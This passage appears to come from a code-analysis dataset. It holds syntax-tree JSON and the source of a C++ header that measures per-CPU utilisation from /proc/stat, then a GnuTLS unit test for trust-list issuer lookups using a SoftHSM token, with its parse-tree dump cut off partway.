"children": [578, 579], "start_point": {"row": 108, "column": 19}, "end_point": {"row": 108, "column": 26}}, {"id": 578, "type": "identifier", "text": "g", "parent": 577, "children": [], "start_point": {"row": 108, "column": 19}, "end_point": {"row": 108, "column": 20}}, {"id": 579, "type": "field_identifier", "text": "front", "parent": 577, "children": [], "start_point": {"row": 108, "column": 21}, "end_point": {"row": 108, "column": 26}}, {"id": 580, "type": "argument_list", "text": "()", "parent": 576, "children": [], "start_point": {"row": 108, "column": 26}, "end_point": {"row": 108, "column": 28}}, {"id": 581, "type": "field_identifier", "text": "cpu", "parent": 575, "children": [], "start_point": {"row": 108, "column": 29}, "end_point": {"row": 108, "column": 32}}, {"id": 582, "type": "call_expression", "text": "g.pop_front()", "parent": 546, "children": [583, 586], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 19}}, {"id": 583, "type": "field_expression", "text": "g.pop_front", "parent": 582, "children": [584, 585], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 17}}, {"id": 584, "type": "identifier", "text": "g", "parent": 583, "children": [], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 7}}, {"id": 585, "type": "field_identifier", "text": "pop_front", "parent": 583, "children": [], "start_point": {"row": 109, "column": 8}, "end_point": {"row": 109, "column": 17}}, {"id": 586, "type": "argument_list", "text": "()", "parent": 582, "children": [], "start_point": {"row": 109, "column": 17}, "end_point": {"row": 109, "column": 19}}, {"id": 587, "type": "return_statement", "text": "return mask;", "parent": 295, "children": [588], "start_point": {"row": 112, "column": 4}, "end_point": {"row": 112, "column": 16}}, {"id": 588, "type": "identifier", "text": "mask", "parent": 587, "children": [], "start_point": {"row": 112, "column": 11}, "end_point": {"row": 112, "column": 15}}, {"id": 589, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 116, "column": 0}, "end_point": {"row": 116, "column": 6}}]}, "node_categories": {"declarations": {"functions": [35, 37, 56, 81, 295, 297, 309, 314], "variables": [24, 30, 40, 43, 59, 72, 84, 124, 133, 139, 150, 184, 206, 224, 242, 300, 303, 307, 312, 334, 343, 349, 371, 407, 429, 447, 465, 480, 547], "classes": [21, 22], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19], "modules": [], "enums": []}, "statements": {"expressions": [47, 48, 49, 53, 67, 88, 89, 92, 97, 102, 103, 109, 110, 118, 142, 145, 147, 158, 159, 160, 161, 165, 168, 170, 176, 179, 180, 199, 203, 214, 218, 221, 232, 236, 239, 250, 254, 258, 259, 264, 265, 271, 274, 278, 280, 285, 286, 289, 292, 318, 319, 321, 326, 329, 352, 355, 357, 359, 364, 365, 379, 380, 381, 382, 386, 389, 391, 393, 399, 402, 403, 422, 426, 437, 441, 444, 455, 459, 462, 473, 477, 488, 489, 490, 491, 498, 499, 504, 505, 510, 511, 518, 519, 520, 525, 526, 530, 533, 536, 540, 541, 554, 555, 560, 562, 563, 567, 570, 571, 575, 576, 577, 582, 583], "assignments": [162, 192, 196, 257, 383, 415, 419, 503], "loops": [157, 378, 546], "conditionals": [0, 1, 2, 5, 23, 25, 29, 31, 34, 38, 41, 42, 44, 45, 50, 51, 54, 55, 57, 60, 63, 65, 68, 70, 71, 73, 77, 80, 82, 85, 87, 90, 93, 98, 100, 101, 105, 107, 111, 115, 116, 119, 121, 123, 129, 136, 141, 143, 146, 148, 149, 151, 154, 163, 166, 169, 171, 172, 177, 181, 182, 189, 191, 193, 197, 200, 205, 207, 212, 215, 217, 219, 223, 225, 230, 233, 235, 237, 241, 243, 248, 251, 253, 255, 260, 261, 262, 266, 268, 270, 273, 275, 277, 281, 283, 284, 287, 288, 290, 293, 294, 296, 298, 301, 302, 304, 306, 308, 310, 313, 315, 317, 322, 323, 325, 327, 330, 331, 333, 339, 346, 351, 353, 356, 358, 360, 361, 363, 366, 368, 370, 372, 375, 384, 387, 390, 392, 394, 395, 400, 404, 405, 412, 414, 416, 420, 423, 428, 430, 435, 438, 440, 442, 446, 448, 453, 456, 458, 460, 464, 466, 471, 474, 476, 478, 481, 486, 492, 494, 496, 500, 501, 502, 506, 507, 508, 512, 514, 516, 517, 521, 522, 524, 527, 528, 531, 532, 535, 537, 539, 542, 543, 545, 548, 551, 556, 558, 564, 565, 569, 572, 573, 578, 579, 581, 584, 585, 588, 589], "returns": [46, 117, 324, 587], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 95, 96, 113, 122, 138, 156, 174, 195, 202, 220, 238, 256, 332, 348, 377, 397, 418, 425, 443, 461, 479, 553], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 35, "universal_type": "function", "name": "cmp_sort", "text_snippet": "static bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < se"}, {"node_id": 37, "universal_type": "function", "name": "unknown", "text_snippet": "cmp_sort(const cpu_util_t& first, const cpu_util_t& second)"}, {"node_id": 56, "universal_type": "function", "name": "stat_t", "text_snippet": "class stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explic"}, {"node_id": 81, "universal_type": "function", "name": "unknown", "text_snippet": "stat_t(unsigned cpuc)"}, {"node_id": 295, "universal_type": "function", "name": "unknown", "text_snippet": "cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req"}, {"node_id": 297, "universal_type": "function", "name": "unknown", "text_snippet": "lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)"}, {"node_id": 309, "universal_type": "function", "name": "unknown", "text_snippet": "mask(lasttimes.size())"}, {"node_id": 314, "universal_type": "function", "name": "unknown", "text_snippet": "size()"}], "class_declarations": [{"node_id": 21, "universal_type": "class", "name": "cpu_util_t", "text_snippet": "struct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n}"}, {"node_id": 22, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 6, "text": "#include <stdio.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <sched.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <vector>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <list>\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"sched.h\"\n"}, {"node_id": 19, "text": "#include"}]}, "original_source_code": "#ifndef _STAT_H_\n#define _STAT_H_\n\n#include <stdio.h>\n#include <sched.h>\n#include <vector>\n#include <list>\n#include \"sched.h\"\n\nstruct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n};\n\nstatic bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}\n\nclass stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen(\"/proc/stat\", \"r\")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << \"ERR: couldn't open '/proc/stat'\" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n};\n\n#endif /* #ifndef _STAT_H_ */\n"}
81,145
c
/* * Copyright (C) 2008-2014 Free Software Foundation, Inc. * * Author: <NAME>, <NAME> * * This file is part of GnuTLS. * * GnuTLS is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * GnuTLS is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GnuTLS; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <gnutls/gnutls.h> #include <gnutls/x509.h> #include <gnutls/x509-ext.h> #include "../utils.h" #include "../test-chains.h" #include "softhsm.h" #define CONFIG "softhsm-issuer.config" /* GnuTLS internally calls time() to find out the current time when verifying certificates. To avoid a time bomb, we hard code the current time. This should work fine on systems where the library call to time is resolved at run-time. */ static time_t mytime(time_t * t) { time_t then = 1256803113; if (t) *t = then; return then; } #define PIN "1234" static void tls_log_func(int level, const char *str) { fprintf(stderr, "|<%d>| %s", level, str); } static int pin_func(void* userdata, int attempt, const char* url, const char *label, unsigned flags, char *pin, size_t pin_max) { if (attempt == 0) { strcpy(pin, PIN); return 0; } return -1; } void doit(void) { char buf[128]; int exit_val = 0; int ret; unsigned j; const char *lib, *bin; gnutls_x509_crt_t issuer = NULL; gnutls_x509_trust_list_t tl; gnutls_x509_crt_t certs[MAX_CHAIN]; gnutls_x509_crt_t ca; gnutls_datum_t tmp; int idx = -1; /* The overloading of time() seems to work in linux (ELF?) * systems only. Disable it on windows. */ #ifdef _WIN32 exit(77); #endif for (j=0;;j++) { if (chains[j].name == NULL) break; if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) { idx = j; break; } } if (idx == -1) { fail("could not find proper chain\n"); exit(1); } bin = softhsm_bin(); lib = softhsm_lib(); ret = global_init(); if (ret != 0) { fail("%d: %s\n", ret, gnutls_strerror(ret)); exit(1); } gnutls_pkcs11_set_pin_function(pin_func, NULL); gnutls_global_set_time_function(mytime); gnutls_global_set_log_function(tls_log_func); if (debug) gnutls_global_set_log_level(4711); /* write softhsm.config */ set_softhsm_conf(CONFIG); snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin); system(buf); ret = gnutls_pkcs11_add_provider(lib, "trusted"); if (ret < 0) { fprintf(stderr, "gnutls_x509_crt_init: %s\n", gnutls_strerror(ret)); exit(1); } for (j = 0; chains[idx].chain[j]; j++) { if (debug > 2) printf("\tAdding certificate %d...", (int) j); ret = gnutls_x509_crt_init(&certs[j]); if (ret < 0) { fprintf(stderr, "gnutls_x509_crt_init[%d,%d]: %s\n", (int) 3, (int) j, gnutls_strerror(ret)); exit(1); } tmp.data = (unsigned char *) chains[idx].chain[j]; tmp.size = strlen(chains[idx].chain[j]); ret = gnutls_x509_crt_import(certs[j], &tmp, GNUTLS_X509_FMT_PEM); if (debug > 2) printf("done\n"); if (ret < 0) { fprintf(stderr, "gnutls_x509_crt_import[%s,%d]: %s\n", chains[idx].name, (int) j, gnutls_strerror(ret)); exit(1); } gnutls_x509_crt_print(certs[j], GNUTLS_CRT_PRINT_ONELINE, &tmp); if (debug) printf("\tCertificate %d: %.*s\n", (int) j, tmp.size, tmp.data); gnutls_free(tmp.data); } if (debug > 2) printf("\tAdding CA certificate..."); ret = gnutls_x509_crt_init(&ca); if (ret < 0) { fprintf(stderr, "gnutls_x509_crt_init: %s\n", gnutls_strerror(ret)); exit(1); } tmp.data = (unsigned char *) *chains[idx].ca; tmp.size = strlen(*chains[idx].ca); ret = gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM); if (ret < 0) { fprintf(stderr, "gnutls_x509_crt_import: %s\n", gnutls_strerror(ret)); exit(1); } if (debug > 2) printf("done\n"); gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp); if (debug) printf("\tCA Certificate: %.*s\n", tmp.size, tmp.data); gnutls_free(tmp.data); if (debug) printf("\tVerifying..."); /* initialize softhsm token */ ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test"); if (ret < 0) { fail("gnutls_pkcs11_token_init\n"); exit(1); } /* write CA certificate to softhsm */ ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO); if (ret < 0) { fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret)); exit(1); } gnutls_x509_trust_list_init(&tl, 0); ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0); if (ret < 0) { fail("gnutls_x509_trust_list_add_trust_file\n"); exit(1); } /* extract the issuer of the certificate */ issuer = NULL; ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY); if (ret < 0) { fail("error in gnutls_x509_trust_list_get_issuer\n"); exit(1); } if (issuer == NULL) { fail("error in gnutls_x509_trust_list_get_issuer return value\n"); exit(1); } gnutls_x509_crt_deinit(issuer); /* extract the issuer of the certificate using the non-thread-safe approach */ issuer = NULL; ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0); if (ret < 0) { fail("error in gnutls_x509_trust_list_get_issuer\n"); exit(1); } if (issuer == NULL) { fail("error in gnutls_x509_trust_list_get_issuer return value\n"); exit(1); } /* extract (again) the issuer of the certificate - check for any leaks */ ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0); if (ret < 0) { fail("error in gnutls_x509_trust_list_get_issuer\n"); exit(1); } /* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */ ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp); if (ret < 0) { fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret)); exit(1); } ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0); gnutls_free(tmp.data); if (ret < 0) { fail("error in gnutls_x509_trust_list_get_issuer\n"); exit(1); } if (issuer == NULL) { fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n"); exit(1); } gnutls_x509_crt_deinit(issuer); if (debug) printf("\tCleanup..."); gnutls_x509_trust_list_deinit(tl, 0); gnutls_x509_crt_deinit(ca); for (j = 0; chains[idx].chain[j]; j++) gnutls_x509_crt_deinit(certs[j]); if (debug) printf("done\n\n\n"); gnutls_global_deinit(); if (debug) printf("Exit status...%d\n", exit_val); remove(CONFIG); exit(exit_val); }
27.17
253
(translation_unit) "/*\n * Copyright (C) 2008-2014 Free Software Foundation, Inc.\n *\n * Author: <NAME>, <NAME>\n *\n * This file is part of GnuTLS.\n *\n * GnuTLS is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * GnuTLS is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with GnuTLS; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n */\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <gnutls/gnutls.h>\n#include <gnutls/x509.h>\n#include <gnutls/x509-ext.h>\n\n#include "../utils.h"\n#include "../test-chains.h"\n#include "softhsm.h"\n\n#define CONFIG "softhsm-issuer.config"\n\n/* GnuTLS internally calls time() to find out the current time when\n verifying certificates. To avoid a time bomb, we hard code the\n current time. This should work fine on systems where the library\n call to time is resolved at run-time. */\nstatic time_t mytime(time_t * t)\n{\n time_t then = 1256803113;\n\n if (t)\n *t = then;\n\n return then;\n}\n\n#define PIN "1234"\n\nstatic void tls_log_func(int level, const char *str)\n{\n fprintf(stderr, "|<%d>| %s", level, str);\n}\n\nstatic\nint pin_func(void* userdata, int attempt, const char* url, const char *label,\n unsigned flags, char *pin, size_t pin_max)\n{\n if (attempt == 0) {\n strcpy(pin, PIN);\n return 0;\n }\n return -1;\n}\n\nvoid doit(void)\n{\n char buf[128];\n int exit_val = 0;\n int ret;\n unsigned j;\n const char *lib, *bin;\n gnutls_x509_crt_t issuer = NULL;\n gnutls_x509_trust_list_t tl;\n gnutls_x509_crt_t certs[MAX_CHAIN];\n gnutls_x509_crt_t ca;\n gnutls_datum_t tmp;\n int idx = -1;\n\n /* The overloading of time() seems to work in linux (ELF?)\n * systems only. Disable it on windows.\n */\n#ifdef _WIN32\n exit(77);\n#endif\n for (j=0;;j++) {\n if (chains[j].name == NULL)\n break;\n if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }\n }\n\n if (idx == -1) {\n fail("could not find proper chain\n");\n exit(1);\n }\n\n bin = softhsm_bin();\n\n lib = softhsm_lib();\n\n ret = global_init();\n if (ret != 0) {\n fail("%d: %s\n", ret, gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_pkcs11_set_pin_function(pin_func, NULL);\n gnutls_global_set_time_function(mytime);\n gnutls_global_set_log_function(tls_log_func);\n if (debug)\n gnutls_global_set_log_level(4711);\n\n /* write softhsm.config */\n\n set_softhsm_conf(CONFIG);\n snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin);\n system(buf);\n\n ret = gnutls_pkcs11_add_provider(lib, "trusted");\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n for (j = 0; chains[idx].chain[j]; j++) {\n if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);\n\n ret = gnutls_x509_crt_init(&certs[j]);\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) chains[idx].chain[j];\n tmp.size = strlen(chains[idx].chain[j]);\n\n ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);\n if (debug > 2)\n printf("done\n");\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);\n if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);\n gnutls_free(tmp.data);\n }\n\n if (debug > 2)\n printf("\tAdding CA certificate...");\n\n ret = gnutls_x509_crt_init(&ca);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) *chains[idx].ca;\n tmp.size = strlen(*chains[idx].ca);\n\n ret =\n gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n if (debug > 2)\n printf("done\n");\n\n gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);\n if (debug)\n printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data);\n gnutls_free(tmp.data);\n\n if (debug)\n printf("\tVerifying...");\n\n /* initialize softhsm token */\n ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test");\n if (ret < 0) {\n fail("gnutls_pkcs11_token_init\n");\n exit(1);\n }\n\n /* write CA certificate to softhsm */\n ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);\n if (ret < 0) {\n fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_trust_list_init(&tl, 0);\n\n ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);\n if (ret < 0) {\n fail("gnutls_x509_trust_list_add_trust_file\n");\n exit(1);\n }\n\n /* extract the issuer of the certificate */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n /* extract the issuer of the certificate using the non-thread-safe approach */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n\n /* extract (again) the issuer of the certificate - check for any leaks */\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n\n /* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */\n ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);\n if (ret < 0) {\n fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n \n ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);\n gnutls_free(tmp.data);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n if (debug)\n printf("\tCleanup...");\n\n gnutls_x509_trust_list_deinit(tl, 0);\n gnutls_x509_crt_deinit(ca);\n for (j = 0; chains[idx].chain[j]; j++)\n gnutls_x509_crt_deinit(certs[j]);\n if (debug)\n printf("done\n\n\n");\n\n gnutls_global_deinit();\n\n if (debug)\n printf("Exit status...%d\n", exit_val);\n remove(CONFIG);\n\n exit(exit_val);\n}\n" (comment) "/*\n * Copyright (C) 2008-2014 Free Software Foundation, Inc.\n *\n * Author: <NAME>, <NAME>\n *\n * This file is part of GnuTLS.\n *\n * GnuTLS is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * GnuTLS is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with GnuTLS; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n */" (preproc_ifdef) "#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif" (#ifdef) "#ifdef" (identifier) "HAVE_CONFIG_H" (preproc_include) "#include <config.h>\n" (#include) "#include" (system_lib_string) "<config.h>" (#endif) "#endif" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include <string.h>\n" (#include) "#include" (system_lib_string) "<string.h>" (preproc_include) "#include <unistd.h>\n" (#include) "#include" (system_lib_string) "<unistd.h>" (preproc_include) "#include <gnutls/gnutls.h>\n" (#include) "#include" (system_lib_string) "<gnutls/gnutls.h>" (preproc_include) "#include <gnutls/x509.h>\n" (#include) "#include" (system_lib_string) "<gnutls/x509.h>" (preproc_include) "#include <gnutls/x509-ext.h>\n" (#include) "#include" (system_lib_string) "<gnutls/x509-ext.h>" (preproc_include) "#include "../utils.h"\n" (#include) "#include" (string_literal) ""../utils.h"" (") """ (string_content) "../utils.h" (") """ (preproc_include) "#include "../test-chains.h"\n" (#include) "#include" (string_literal) ""../test-chains.h"" (") """ (string_content) "../test-chains.h" (") """ (preproc_include) "#include "softhsm.h"\n" (#include) "#include" (string_literal) ""softhsm.h"" (") """ (string_content) "softhsm.h" (") """ (preproc_def) "#define CONFIG "softhsm-issuer.config"\n" (#define) "#define" (identifier) "CONFIG" (preproc_arg) ""softhsm-issuer.config"" (comment) "/* GnuTLS internally calls time() to find out the current time when\n verifying certificates. To avoid a time bomb, we hard code the\n current time. This should work fine on systems where the library\n call to time is resolved at run-time. */" (function_definition) "static time_t mytime(time_t * t)\n{\n time_t then = 1256803113;\n\n if (t)\n *t = then;\n\n return then;\n}" (storage_class_specifier) "static" (static) "static" (type_identifier) "time_t" (function_declarator) "mytime(time_t * t)" (identifier) "mytime" (parameter_list) "(time_t * t)" (() "(" (parameter_declaration) "time_t * t" (type_identifier) "time_t" (pointer_declarator) "* t" (*) "*" (identifier) "t" ()) ")" (compound_statement) "{\n time_t then = 1256803113;\n\n if (t)\n *t = then;\n\n return then;\n}" ({) "{" (declaration) "time_t then = 1256803113;" (type_identifier) "time_t" (init_declarator) "then = 1256803113" (identifier) "then" (=) "=" (number_literal) "1256803113" (;) ";" (if_statement) "if (t)\n *t = then;" (if) "if" (parenthesized_expression) "(t)" (() "(" (identifier) "t" ()) ")" (expression_statement) "*t = then;" (assignment_expression) "*t = then" (pointer_expression) "*t" (*) "*" (identifier) "t" (=) "=" (identifier) "then" (;) ";" (return_statement) "return then;" (return) "return" (identifier) "then" (;) ";" (}) "}" (preproc_def) "#define PIN "1234"\n" (#define) "#define" (identifier) "PIN" (preproc_arg) ""1234"" (function_definition) "static void tls_log_func(int level, const char *str)\n{\n fprintf(stderr, "|<%d>| %s", level, str);\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "void" (function_declarator) "tls_log_func(int level, const char *str)" (identifier) "tls_log_func" (parameter_list) "(int level, const char *str)" (() "(" (parameter_declaration) "int level" (primitive_type) "int" (identifier) "level" (,) "," (parameter_declaration) "const char *str" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*str" (*) "*" (identifier) "str" ()) ")" (compound_statement) "{\n fprintf(stderr, "|<%d>| %s", level, str);\n}" ({) "{" (expression_statement) "fprintf(stderr, "|<%d>| %s", level, str);" (call_expression) "fprintf(stderr, "|<%d>| %s", level, str)" (identifier) "fprintf" (argument_list) "(stderr, "|<%d>| %s", level, str)" (() "(" (identifier) "stderr" (,) "," (string_literal) ""|<%d>| %s"" (") """ (string_content) "|<%d>| %s" (") """ (,) "," (identifier) "level" (,) "," (identifier) "str" ()) ")" (;) ";" (}) "}" (function_definition) "static\nint pin_func(void* userdata, int attempt, const char* url, const char *label,\n unsigned flags, char *pin, size_t pin_max)\n{\n if (attempt == 0) {\n strcpy(pin, PIN);\n return 0;\n }\n return -1;\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "int" (function_declarator) "pin_func(void* userdata, int attempt, const char* url, const char *label,\n unsigned flags, char *pin, size_t pin_max)" (identifier) "pin_func" (parameter_list) "(void* userdata, int attempt, const char* url, const char *label,\n unsigned flags, char *pin, size_t pin_max)" (() "(" (parameter_declaration) "void* userdata" (primitive_type) "void" (pointer_declarator) "* userdata" (*) "*" (identifier) "userdata" (,) "," (parameter_declaration) "int attempt" (primitive_type) "int" (identifier) "attempt" (,) "," (parameter_declaration) "const char* url" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* url" (*) "*" (identifier) "url" (,) "," (parameter_declaration) "const char *label" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*label" (*) "*" (identifier) "label" (,) "," (parameter_declaration) "unsigned flags" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "flags" (,) "," (parameter_declaration) "char *pin" (primitive_type) "char" (pointer_declarator) "*pin" (*) "*" (identifier) "pin" (,) "," (parameter_declaration) "size_t pin_max" (primitive_type) "size_t" (identifier) 